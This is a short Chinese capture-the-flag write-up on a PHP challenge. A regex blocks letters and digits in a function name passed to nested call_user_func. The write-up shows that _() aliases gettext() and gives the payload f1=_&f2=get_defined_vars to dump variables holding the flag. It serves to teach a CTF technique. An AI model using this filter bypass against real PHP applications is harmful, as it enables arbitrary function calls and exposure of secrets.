PHP特性:无字母数字构造函数
<?php
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
在开启该拓展后 _() 等效于 gettext()
<?php
echo gettext("phpinfo");
//结果 phpinfo
echo _("phpinfo");
//结果 phpinfo
所以call_user_func(‘_’,’phpinfo’)
返回的就是phpinfo
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
get_defined_vars ( void ) : array
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:f1=_&f2=get_defined_vars